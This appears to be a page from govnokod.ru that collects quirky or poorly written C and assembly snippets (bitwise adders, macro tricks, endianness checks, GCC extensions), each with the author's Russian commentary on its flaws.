#include <inttypes.h> #include <stdio.h> typedef union { struct { #define BITG(n) uint8_t bit##n : 1 BITG(0); BITG(1); BITG(2); BITG(3); BITG(4); BITG(5); BITG(6); BITG(7); #undef BITG } bits; uint8_t value; }getbit; uint8_t bit_sum(uint8_t, uint8_t); uint8_t bit_sum(uint8_t a, uint8_t b) { getbit op1, op2, opr; uint8_t carry; op1.value=a; op2.value=b; #define OP1(n) op1.bits.bit##n #define OP2(n) op2.bits.bit##n #define OPR(n) opr.bits.bit##n #define XOR(a,b) ((a)^(b)) #define AND(a,b) ((a)&(b)) OPR(0) = XOR(OP1(0), OP2(0)); carry = AND(OP1(0), OP2(0)); #define SETBIT(n) \ OPR(n) = XOR \ ( \ carry, \ XOR(OP1(n), OP2(n)) \ ); #define CARRYBIT(n) \ carry = XOR \ ( \ AND(OP1(n), OP2(n)), \ AND \ ( \ XOR(OP1(n), OP2(n)), \ carry \ ) \ ); SETBIT(1); CARRYBIT(1); SETBIT(2); CARRYBIT(2); SETBIT(3); CARRYBIT(3); SETBIT(4); CARRYBIT(4); SETBIT(5); CARRYBIT(5); SETBIT(6); CARRYBIT(6); SETBIT(7); return opr.value; #undef SETBIT #undef CARRYBIT #undef OP1 #undef OP2 #undef OPR #undef XOR #undef AND } int main (int argc, char *argv[], char *envp[]) { uint8_t a, b, c; scanf ("%"SCNu8"%"SCNu8, &a, &b); c = bit_sum(a,b); printf("%"PRIu8"\n", c); return 0; }Побитовое сложение двух 8-битных чисел по схеме двоичного сумматора
Комментарии (11) -
Си / Говнокод #17978
+138
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
if(argc > 6){ for(arg = argv[6]; strlen((char *)arg) >= 17 && isdigit(arg[0]) && isdigit(arg[1]) && isdigit(arg[3]) && isdigit(arg[4]) && isdigit(arg[6]) && isdigit(arg[7]) && isdigit(arg[9]) && isdigit(arg[10]) && isdigit(arg[12]) && isdigit(arg[13]) && isdigit(arg[15]) && isdigit(arg[16]) ; arg+=18){ int t1, t2; struct period *sp; t1 = (arg[0] - '0') * 10 + (arg[1] - '0'); t1 = (t1 * 60) + (arg[3] - '0') * 10 + (arg[4] - '0'); t1 = (t1 * 60) + (arg[6] - '0') * 10 + (arg[7] - '0'); t2 = (arg[9] - '0') * 10 + (arg[10] - '0'); t2 = (t2 * 60) + (arg[12] - '0') * 10 + (arg[13] - '0'); t2 = (t2 * 60) + (arg[15] - '0') * 10 + (arg[16] - '0'); if(t2 < t1) break; sp = myalloc(sizeof(struct period)); if(sp){ sp->fromtime = t1; sp->totime = t2; sp->next = acl->periods; acl->periods = sp; } if(arg[17]!=',') break; } }Получение временных диапазонов, из https://github.com/z3APA3A/3proxy/blob/devel/src/3proxy.c#L1470
Основное говно в том, что нифига не проверяются входные данные т.е. секунд и минут может быть больше 59, а часов может быть больше 23. И проверку if(t2 < t1) лучше заменить на if(t2 <= t1)
А еще там в том исходнике в качестве отступов используются и пробелы и табы. Вообще там очень много говнокодаКомментарии (5) -
Си / Говнокод #17821
+135
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
#include "mono-math.h" #ifndef HAVE_SIGNBIT int mono_signbit_float (float x) { union { float f; int i; } u; u.f = x; return u.i < 0; } int mono_signbit_double (double x) { union { double d; int i[2]; } u; u.d = x; #if G_BYTE_ORDER == G_LITTLE_ENDIAN return u.i [1] < 0; #else return u.i [0] < 0; #endif } #endifГовно тут в том, что int далеко не везде будет 32 бит.
https://github.com/mono/mono/blob/master/mono/utils/mono-math.c оттудаКомментарии (5) -
Си / Говнокод #17804
+138
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
#define poff acurp + curp * (nSQs+2) /*probs: offset*/ long psum() {return c(poff+ 1);} long pmax() {return c(poff+2);} long pn (long n) {return c(poff+2+n); } void setp (long n, long x){set (poff+2+n, x);} /*prob changes:*/ void setmax (long x){set (poff+2, x);} /*metasearching*/ void setsum (long x){set (poff+1, x);} long get2ndmax() {long n= poff+2, x=pmax(), m=n, s=0,end=n+nSQs; do {n++;} while (c(n) != x); /*find 2nd-highest <=pmax*/ do {m++; if (s < c(m) && m !=n) s= c(m);}/*jue tncheck?*/ while (s < x && m < end); return s;} void addtoSQ(long i, long val) {long x; /*increase prob of ith SQ*/ if (val < 1 || i >nSQs || i<1) return; /*not possible!*/ x = psum()+val;if (x > maxint) return; /*has max normalizer*/ setsum (x); /*normalizer +*/ x = pn(i)+val; setp(i, x); if (x > pmax()) setmax (x);} /*maximal SQprob has increased */ void subofSQ(long i, long val) {long x; /*decrease prob of ith SQ*/ if (val < 1 || i >nSQs || i<1) return; /*not possible!*/ x = pn(i)-val; if (x < 0) return;/*no neg probabilities!*/ setsum (psum()- val); setp(i,x);/*don't check if =0!*/ if (x + val == pmax()) setmax (get2ndmax());} /*change of max*/ void incSQ() {long i= top(); addtoSQ(i,1);} /*top, not pop!*/ void decSQ() {long i= top(), x,y,z; /*decrem prob of the SQ*/ if (i> nSQs || i< 1) return;/*no such search Q number known*/ x = pn(i); if (x==0) return; /*SQ: already 0*/ y = psum(); z = pmax(); if (x == 1 && y <= z+1) stop /*leave at least 2 SQs*/ if (x == z) setmax (get2ndmax()); /*change of max*/ setp(i, x-1); setsum (y-1);} /*normalizer -1*/ long upSQ; /*SQ probability:enumerator += upSQ: increase*/ void oldSQ() {long a=pop()+ndecl, n,i; if(a<0||a> oldp)stop/*bad*/ n=old[a].size; a=old[a].start;/*all SQs of old nondecl: +upSQ*/ tncheck n+=a; for(i=a;i<n;i++)addtoSQ(SQ[q[i].Q], upSQ);} void setpat() {long i= pop(); /*instantiate my search pattern*/ if (i<0 || i > patp) stop /*no such search pattern exists*/ set (acurp,i);}/*next SQ-search defined via new probabilities!*/ void pupat() {long i = apatp; /*push search pattern*/ if (i>maxpat) stop i++; set(apatp,i); /*not too many?*/ cpabn (poff+1, acurp + 1 + i *(2+ nSQs), 2 + nSQs, acurp + 1, aendpats); } void popat() {long i= apatp; if(i==0) stop set(apatp,i-1); push(i); } /*pop search pattern*/Полный исходник http://www.idsia.ch/~juergen/oopscode.c
Комментарии (11) -
Си / Говнокод #16026
+135
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
// Hammer the CFG with large numbers of overlapping variable scopes, which // implicit destructors triggered at each edge. #define EXPAND_BASIC_STRUCT(i) struct X##i { X##i(int); ~X##i(); }; #define EXPAND_NORET_STRUCT(i) struct X##i { X##i(int); ~X##i() __attribute__((noreturn)); }; EXPAND_BASIC_STRUCT(0000); EXPAND_NORET_STRUCT(0001); EXPAND_BASIC_STRUCT(0010); EXPAND_BASIC_STRUCT(0011); EXPAND_BASIC_STRUCT(0100); EXPAND_NORET_STRUCT(0101); EXPAND_NORET_STRUCT(0110); EXPAND_BASIC_STRUCT(0111); EXPAND_BASIC_STRUCT(1000); EXPAND_NORET_STRUCT(1001); EXPAND_BASIC_STRUCT(1010); EXPAND_BASIC_STRUCT(1011); EXPAND_NORET_STRUCT(1100); EXPAND_NORET_STRUCT(1101); EXPAND_BASIC_STRUCT(1110); EXPAND_BASIC_STRUCT(1111); #define EXPAND_2_VARS(c, i, x) const X##i var_##c##_##i##0(x), &var_##c##_##i##1 = X##i(x) #define EXPAND_4_VARS(c, i, x) EXPAND_2_VARS(c, i##0, x); EXPAND_2_VARS(c, i##1, x) #define EXPAND_8_VARS(c, i, x) EXPAND_4_VARS(c, i##0, x); EXPAND_4_VARS(c, i##1, x) #define EXPAND_16_VARS(c, i, x) EXPAND_8_VARS(c, i##0, x); EXPAND_8_VARS(c, i##1, x) #define EXPAND_32_VARS(c, x) EXPAND_16_VARS(c, 0, x); EXPAND_16_VARS(c, 1, x) #define EXPAND_2_INNER_CASES(i, x, y) INNER_CASE(i, x, y); INNER_CASE(i + 1, x, y); #define EXPAND_4_INNER_CASES(i, x, y) EXPAND_2_INNER_CASES(i, x, y) EXPAND_2_INNER_CASES(i + 2, x, y) #define EXPAND_8_INNER_CASES(i, x, y) EXPAND_4_INNER_CASES(i, x, y) EXPAND_4_INNER_CASES(i + 4, x, y) #define EXPAND_16_INNER_CASES(i, x, y) EXPAND_8_INNER_CASES(i, x, y) EXPAND_8_INNER_CASES(i + 8, x, y) #define EXPAND_32_INNER_CASES(i, x, y) EXPAND_16_INNER_CASES(i, x, y) EXPAND_16_INNER_CASES(i + 16, x, y) #define EXPAND_2_OUTER_CASES(i, x, y) OUTER_CASE(i, x, y); OUTER_CASE(i + 1, x, y); #define EXPAND_4_OUTER_CASES(i, x, y) EXPAND_2_OUTER_CASES(i, x, y) EXPAND_2_OUTER_CASES(i + 2, x, y) #define EXPAND_8_OUTER_CASES(i, x, y) EXPAND_4_OUTER_CASES(i, x, y) EXPAND_4_OUTER_CASES(i + 4, x, y) #define EXPAND_16_OUTER_CASES(i, x, y) EXPAND_8_OUTER_CASES(i, x, y) EXPAND_8_OUTER_CASES(i + 8, x, y) #define EXPAND_32_OUTER_CASES(i, x, y) EXPAND_16_OUTER_CASES(i, x, y) EXPAND_16_OUTER_CASES(i + 16, x, y)Рекурсивное (EXPAND_... ) макроговно из clang и генератор (EXPAND_..._STRUCT) структур через какую-то непонятную жопу
https://github.com/llvm-mirror/clang/blob/master/INPUTS/cfg-nested-var-scopes.cppКомментарии (8) -
Си / Говнокод #15980
+131
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
#include <stdio.h> #include <stdint.h> #define ARR_L 11 #define INS_P (arr[0]) #define MOD_L(a) ((a) % ARR_L) #define INS_P_M (MOD_L(INS_P)) #define ARR_ACS(a) (arr[MOD_L(a)]) //access to arr void foo (uint8_t *arr) { if (ARR_ACS(0) == 0) { printf("%u ", ARR_ACS(1)); ARR_ACS(1) += ARR_ACS(2); ARR_ACS(0) = 1; } else { printf("%u ", ARR_ACS(2)); ARR_ACS(2) += ARR_ACS(1); ARR_ACS(0) = 0; } } int main(void) { uint8_t arr[ARR_L] = {1,1,1,0,0,0,0,0,0,0,0}; for (size_t a = 0; a < 13; a++) { foo(arr); } return 0; }Считалка чисел Фибоначчи на основе фигни, придуманной в http://govnokod.ru/15967
Надо сделать метаязык для удобного составления набора инструкций для этой штуки. И еще надо осилить длинную арифметику, ну это вообще круто будетКомментарии (9) -
Си / Говнокод #15967
+129
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
#include <stdio.h> #include <stdint.h> #define ARR_L 11 #define INS_P (arr[0]) #define MOD_L(a) ((a) % ARR_L) #define INS_P_M (MOD_L(INS_P)) #define ARR_ACS(a) (arr[MOD_L(a)]) //access to arr void foo (uint8_t *arr) { ARR_ACS(3) = INS_P * ARR_ACS(INS_P); ARR_ACS( MOD_L( INS_P_M + 1 ) ) = ((INS_P * INS_P) * 2); if (INS_P != 0) {ARR_ACS(INS_P_M)++;}; INS_P = INS_P_M + 1; // tut voobche lubaya fignya, kotoraya chtoby izmenyala // figny v massive v zavisimosti ot sostoyania massiva } int main(void) { uint8_t arr[ARR_L] = {0,2,6,3,2,62,7,113,0,26,13}; for (size_t a = 0; a < 10000; a++) { foo(arr); printf ( "%.3u %.3u %.3u %.3u %.3u " "%.3u %.3u %.3u %.3u %.3u %.3u\n", INS_P,arr[1],arr[2],arr[3],arr[4], arr[5],arr[6],arr[7],arr[8],arr[9],arr[10]); } return 0; }Машина Тьюринга с лентой конечной длины - конечный автомат. Состояние обязательно зациклится, какие бы правила преобразования над конечным алфавитом мы не вводили и каким бы ни было начальное состояние ленты.
В сишке есть возможности вменяемо сделать вывод чисел из массива подряд для N-ного количества аргументов?
Цикл не предлагатьКомментарии (52) -
Си / Говнокод #15944
+133
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> void my_char_plus(const void *a, const void *b, void *c) { char tmp = (*(char*)a + *(char*)b); memcpy(c,(void*)(&tmp),sizeof(char)); } void my_char_minus(const void *a, const void *b, void *c) { char tmp = (*(char*)a - *(char*)b); memcpy(c,(void*)(&tmp),sizeof(char)); } void operation(const void *funct(const void*,const void*,void*), const void *a, const void *b, void *c ) { funct(a,b,c); } char ret_last_arg(const void *funct(const void*,const void*,void*), const void *a, const void *b) { char c; funct(a,b,(void*)&c); return c; } int main(void) { char a, b; a = 5; b = 7; void *plus = &my_char_plus; char c; operation(plus, (const void*)&a, (const void*)&b, (void*)&c); printf("5 + 7 = %i\n", c); void *minus = &my_char_minus; char d = ret_last_arg(minus, (const void*)&a, (const void*)&b); printf("5 - 7 = %i\n", d); // LISP LISP LISP #define LISP(ar,aa,bb) ret_last_arg(ar, (const void*)&(char){aa}, (const void*)&(char){bb} ) char e = LISP(plus,2,LISP(plus,2,2)); printf("(+ 2 (+ 2 2 ) ) = %i\n", e); return 0; }Лиспопрограммирование на сишке через макрос (префиксная запись)
Только оно кривовато тут, т.е. получаем трехадресный код (не как в лиспе)
http://masters.donntu.edu.ua/2006/fvti/svyezhentsev/library/article2.htm
Можно делать интерпретаторы фигни всякой, шитый код. Я упорот корочеКомментарии (18) -
Си / Говнокод #15895
+132
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
#include <stdio.h> unsigned int mid (unsigned int a, unsigned int b) { if (a > b) {unsigned int c = a; a = b; b = c;} for(; a < b; a--, b++) {;}; return a; } int main(void) { printf("%u %u %u %u", mid(2,2), mid(3,2), mid(2,3), mid(3,3)); return 0; }Это я хочу найти середину. Где-то я туплю
Комментарии (27)-
C++ / Говнокод #15893
+73
- 1
http://bnw.im/p/JCBN9Nhttps://bnw.im/u/j123123
Комментарии (10) -
Си / Говнокод #15707
+133
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
#ifndef ORDER32_H #define ORDER32_H #include <limits.h> #include <stdint.h> #if CHAR_BIT != 8 #error "unsupported char size" #endif enum { O32_LITTLE_ENDIAN = 0x03020100ul, O32_BIG_ENDIAN = 0x00010203ul, O32_PDP_ENDIAN = 0x01000302ul }; static const union { unsigned char bytes[4]; uint32_t value; } o32_host_order = { { 0, 1, 2, 3 } }; #define O32_HOST_ORDER (o32_host_order.value) #endifГовнокод из http://stackoverflow.com/questions/2100331/c-macro-definition-to-determine-big-endian-or-little-endian-machine
Мало того, что писать в один тип из юниона и потом читать из другого это UB, так еще компилятор (в случае GCC) изint main(void) {return O32_HOST_ORDER == O32_LITTLE_ENDIAN;}
нагенерирует код
main: xor eax, eax cmp DWORD PTR o32_host_order[rip], 50462976 sete al ret o32_host_order: .byte 0 .byte 1 .byte 2 .byte 3
т.е. всякий раз, когда надо узнать endianess, мы лезем в константную статическую переменную и сравниваем ее с константойКомментарии (45) -
Си / Говнокод #15638
+134
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
/* A C statement or statements which output an assembler instruction opcode to the stdio stream STREAM. The macro-operand PTR is a variable of type `char *' which points to the opcode name in its "internal" form--the form that is written in the machine description. GAS version 1.38.1 doesn't understand the `repz' opcode mnemonic. So use `repe' instead. */ #undef ASM_OUTPUT_OPCODE #define ASM_OUTPUT_OPCODE(STREAM, PTR) \ { \ if ((PTR)[0] == 'r' \ && (PTR)[1] == 'e' \ && (PTR)[2] == 'p') \ { \ if ((PTR)[3] == 'z') \ { \ fputs ("repe", (STREAM)); \ (PTR) += 4; \ } \ else if ((PTR)[3] == 'n' && (PTR)[4] == 'z') \ { \ fputs ("repne", (STREAM)); \ (PTR) += 5; \ } \ } \ else \ ASM_OUTPUT_AVX_PREFIX ((STREAM), (PTR)); \ }Костыль из GCC. Ассемблер GAS версии 1.38.1 не переваривает мнемоники repz и repnz. Эта макрохрень перекодирует их в repe и repne соответственно
https://github.com/mirrors/gcc/blob/master/gcc/config/i386/gas.h#L81Комментарии (0) -
Си / Говнокод #15628
+136
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
#include <stdio.h> #include <inttypes.h> inline uint8_t mid_ch (uint8_t a, uint8_t b, uint8_t res) { if (b == 0){ if (a >= 2) return mid_ch (a-2, b , res+1); else return res;} if (a == 0){ if (b >= 2) return mid_ch (a , b-2, res+1); else return res;} return mid_ch (a-1, b-1, res+1); } uint64_t mid_0_ch (uint64_t a, uint64_t b) { return mid_ch(a, b, 0); } int main(void) { printf("%u %u", mid_0_ch (253, 123), (253+123)/2); return 0; }Нахождение среднего арифметического двух чисел через рекурсию. Сначала сделал для uint64_t чтобы это имело смысл, ведь сложение двух 64-битных чисел с записью результата в третье может привести к целочисленному переполнению (для 64-битных чисел, сложение которых может привести к переполнению, этот код работал чрезвычайно медленно, поэтому я ограничился 8-битными). При таком наркоманско-рекурсивном алгоритме этого переполнения не будет. 128-битные типы есть только как нестандартное расширение, но тогда еще возникает вопрос, как найди среднее арифметическое двух таких 128-битных чисел? А если есть 256-битные, то как тогда их них находить среднеарифметическое... ну и так далее.
Можно эту проблему еще решать через битовые маски т.е. убрать из обеих чисел самые старшие биты (предварительно сохранив их), сложить эти два числа, поделить на два, потом уже эти сохраненные биты вида 10000... или 0000... оба поделить на 2(сдвинуть на один разряд) и прибавить. Наркоманство какое-то.
Почему бы не сделать в С некий особый целочисленный тип, в котором любая фигня влезет, но который бы использовался только временно для промежуточных вычислений, чтобы не делать бэкапы битиков всяких?Комментарии (22) -
Assembler / Говнокод #15415
+145
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
global _start section .text _start: mov eax, 0b10010100101100110111110110111110 ; эти битики будут выведены на печать mov ecx, 0b00011000000110000001100000011000 ; Четыре недозаполненных ascii кодов символов '0' или '1', в который из флага переноса заталкивается битик 0 или 1 %rep 8 mov ebx, ecx %rep 3 shr eax, 1 ; Захавываем битик в флаг переноса rcl ebx, 1 ; Запихиваем из флага переноса в недозаполненные ascii коды rol ebx, 7 ; Проматываем на следующий кусок %endrep shr eax, 1 rcl ebx, 1 ; На последней стадии все то же самое, только проматывать уже не надо push ebx ; Теперь все битики всунуты, пихнем содержимое регистра в стек %endrep mov eax, 04h ; write() mov ebx, 01h ; stdout mov ecx, esp ; распечатаем из стека mov edx, 32 ; 32 символа int 80h mov eax, 01h ; exit() xor ebx, ebx ; errno int 80hNASM Linux x86
Суть - вывести содержимое регистра в двоичной системе счисления
Можно было вместо этой мути использовать CMOVC ( Move if carry (CF=1) ) или еще что-нибудь такое придумать, есть же еще BT, BTS, глаза разбегаются
...вообще хрен его знает, какой-то упоротый этот x86 ассемблер, надо бы AVR осваивать, там регистров побольшеКомментарии (5) -
Си / Говнокод #15406
+142
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
static char months [] = "JanFebMarAprMayJunJulAugSepOctNovDecGlk"; static char dows [] = "SunMonTueWedThuFriSatEar"; int dd [] = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}; void gen_http_date (char date_buffer[29], int time) { int day, mon, year, hour, min, sec, xd, i, dow; if (time < 0) time = 0; sec = time % 60; time /= 60; min = time % 60; time /= 60; hour = time % 24; time /= 24; dow = (time + 4) % 7; xd = time % (365 * 3 + 366); time /= (365 * 3 + 366); year = time * 4 + 1970; if (xd >= 365) { year++; xd -= 365; if (xd >= 365) { year++; xd -= 365; if (xd >= 366) { year++; xd -= 366; } } } if (year & 3) { dd[1] = 28; } else { dd[1] = 29; } for (i = 0; i < 12; i++) { if (xd < dd[i]) { break; } xd -= dd[i]; } day = xd + 1; mon = i; assert (day >= 1 && day <= 31 && mon >=0 && mon <= 11 && year >= 1970 && year <= 2039); sprintf (date_buffer, "%.3s, %.2d %.3s %d %.2d:%.2d:%.2d GM", dows + dow * 3, day, months + mon * 3, year, hour, min, sec); date_buffer[28] = 'T'; }Делать имена месяцев и дни недели одной сишной строкой, чтобы потом выводить оттуда по три символа через sprintf, считая оффсет умножением на 3 т.к. имена месяцев и дней недели влазят в три символа
https://github.com/vk-com/kphp-kdb/blob/ce1ac4fbde2d3b546936ad07d6a748958f6d2198/net/net-http-server.c#L664
http://roem.ru/2013/07/20/kphp76561/
>ВКонтактовские "олимпиадники"-чемпионы ACM разработали крайне интересную высоконагруженным сайтам технологию.
Хреновые какие-то олимпиадники попались, раз неосилили http://ideone.com/IfvBgiКомментарии (81) -
Си / Говнокод #14511
+137
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
#define SPLICE(a,b) SPLICE_1(a,b) #define SPLICE_1(a,b) SPLICE_2(a,b) #define SPLICE_2(a,b) a##b #define PP_ARG_N( \ _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, \ _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, \ _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, \ _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, \ _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, \ _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, \ _61, _62, _63, N, ...) N /* Note 63 is removed */ #define PP_RSEQ_N() \ 62, 61, 60, \ 59, 58, 57, 56, 55, 54, 53, 52, 51, 50, \ 49, 48, 47, 46, 45, 44, 43, 42, 41, 40, \ 39, 38, 37, 36, 35, 34, 33, 32, 31, 30, \ 29, 28, 27, 26, 25, 24, 23, 22, 21, 20, \ 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, \ 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 #define PP_NARG_(...) PP_ARG_N(__VA_ARGS__) /* Note dummy first argument _ and ##__VA_ARGS__ instead of __VA_ARGS__ */ #define PP_NARG(...) PP_NARG_(_, ##__VA_ARGS__, PP_RSEQ_N()) #define NARG(...) func(PP_NARG(__VA_ARGS__), __VA_ARGS__) #define INCR 20 #define FIELD_0(...) #define FIELD_1(field, ...) \ INCR+field #define FIELD_2(field, ...) \ INCR+field, FIELD_1(__VA_ARGS__) #define FIELD_3(field, ...) \ INCR+field, FIELD_2(__VA_ARGS__) #define FIELD_4(field, ...) \ INCR+field, FIELD_3(__VA_ARGS__) #define FIELD_5(field, ...) \ INCR+field, FIELD_4(__VA_ARGS__) #define FIELD_5(field, ...) \ INCR+field, FIELD_4(__VA_ARGS__) #define FIELD_6(field, ...) \ INCR+field, FIELD_5(__VA_ARGS__) #define FIELD_7(field, ...) \ INCR+field, FIELD_6(__VA_ARGS__) #define FIELD_8(field, ...) \ INCR+field, FIELD_7(__VA_ARGS__) #define FIELD_9(field, ...) \ INCR+field, FIELD_8(__VA_ARGS__) #define FIELD_10(field, ...) \ INCR+field, FIELD_9(__VA_ARGS__) #define FIELD_11(field, ...) \ INCR+field, FIELD_10(__VA_ARGS__) //..... дальше лень ... #define FIELDS_(N, ...) \ SPLICE(FIELD_, N)(__VA_ARGS__) #define FIELDS(...) \ FIELDS_(PP_NARG(__VA_ARGS__), __VA_ARGS__) a = { FIELDS('p', 'a', 's', 's', 'w', 'o', 'r', 'd') }Примитивное компил-тайм шифрование строки через сишный препроцессор. На выходе получаем
a = { 20 +'p', 20 +'a', 20 +'s', 20 +'s', 20 +'w', 20 +'o', 20 +'r', 20 +'d' };
Базируется на http://smackerelofopinion.blogspot.com/2011/10/determining-number-of-arguments-in-c.htmlКомментарии (18) -
Assembler / Говнокод #13931
+129
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
product: .LFB34: .cfi_startproc xor eax, eax test esi, esi je .L7 lea eax, [rsi-1] mov edi, edi add rax, 1 imul rax, rdi .L7: rep ret .cfi_endprocОптимизациия умножения через рекурсию. Сишный код:
inline unsigned long int product_0(const unsigned int a, const unsigned int b, const unsigned long int tmp) { if (b == 0) return tmp; return product_0(a, b-1, tmp+a); } unsigned long int product(const unsigned int a, const unsigned int b) { return product_0(a, b, 0); }
Распознать умножение (imul) в этой рекурсивной хрени компилятор смог, но при этом как-то через жопу, нагенерировав при этом много лишнего говна.
gcc version 4.5.1Комментарии (69) -
Си / Говнокод #13546
+140
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
#include <stdio.h> int main() { printf("test\n"); __asm volatile (".rept 10\n"); printf("test\n"); __asm volatile (".endr"); return 0; }Еще немного поиздевался над GCC. Через ассемблерные вставки, точнее через вставку директивы .rept иногда можно повторить некоторый кусок кода несколько раз. Работает это далеко не всегда
http://sourceware.org/binutils/docs/as/Rept.html
Этот .rept по сути просто копипастит кусок кодаКомментарии (11) -
Си / Говнокод #13512
+130
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
#include <stdio.h> int main() { int a = 5, b = 6; void* go; go = ( a > b )? &&true1: &&false1; goto *go; true1: { printf("%i > %i\n", a, b); goto next1; } false1: { printf("%i <= %i\n", a, b); } next1: a = 7; go = ( a > b )? &&true2: &&false2; goto *go; true2: { printf("%i > %i\n", a, b); goto next2; } false2: { printf("%i <= %i\n", a, b); } next2: return 0; }В GCC есть такой экстеншен http://gcc.gnu.org/onlinedocs/gcc/Labels-as-Values.html
Можно в goto передавать переменную и можно работать с адресами меток. В сочетании с тернарной условной операцией, этим можно заменить ifКомментарии (58)-
Си / Говнокод #13492
+122
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
